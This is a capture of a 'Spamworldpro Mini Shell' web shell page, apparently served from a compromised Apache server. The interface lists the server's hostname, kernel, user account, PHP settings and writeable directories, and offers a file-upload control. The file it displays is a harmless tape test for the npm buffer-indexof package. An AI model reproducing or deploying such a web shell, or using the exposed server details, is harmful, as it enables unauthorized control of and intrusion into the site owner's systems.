Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/dceprojects.corals.io/node_modules/buffer-indexof/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/dceprojects.corals.io/node_modules/buffer-indexof/test/multibyteneedle.js
var test = require('tape')
var bindexof = require('../')

test("can find mutibyte needles",function(t){

  t.equals(bindexof(new Buffer("hi"),new Buffer("hi")),0,'should find multibyte needle when its the whole buffer')

  // https://github.com/soldair/node-buffer-indexof/issues/2
  t.equals(bindexof(new Buffer("aaba"), new Buffer("ab")),1,'should find multibyte needle in haystack')


  t.end();


})

Spamworldpro Mini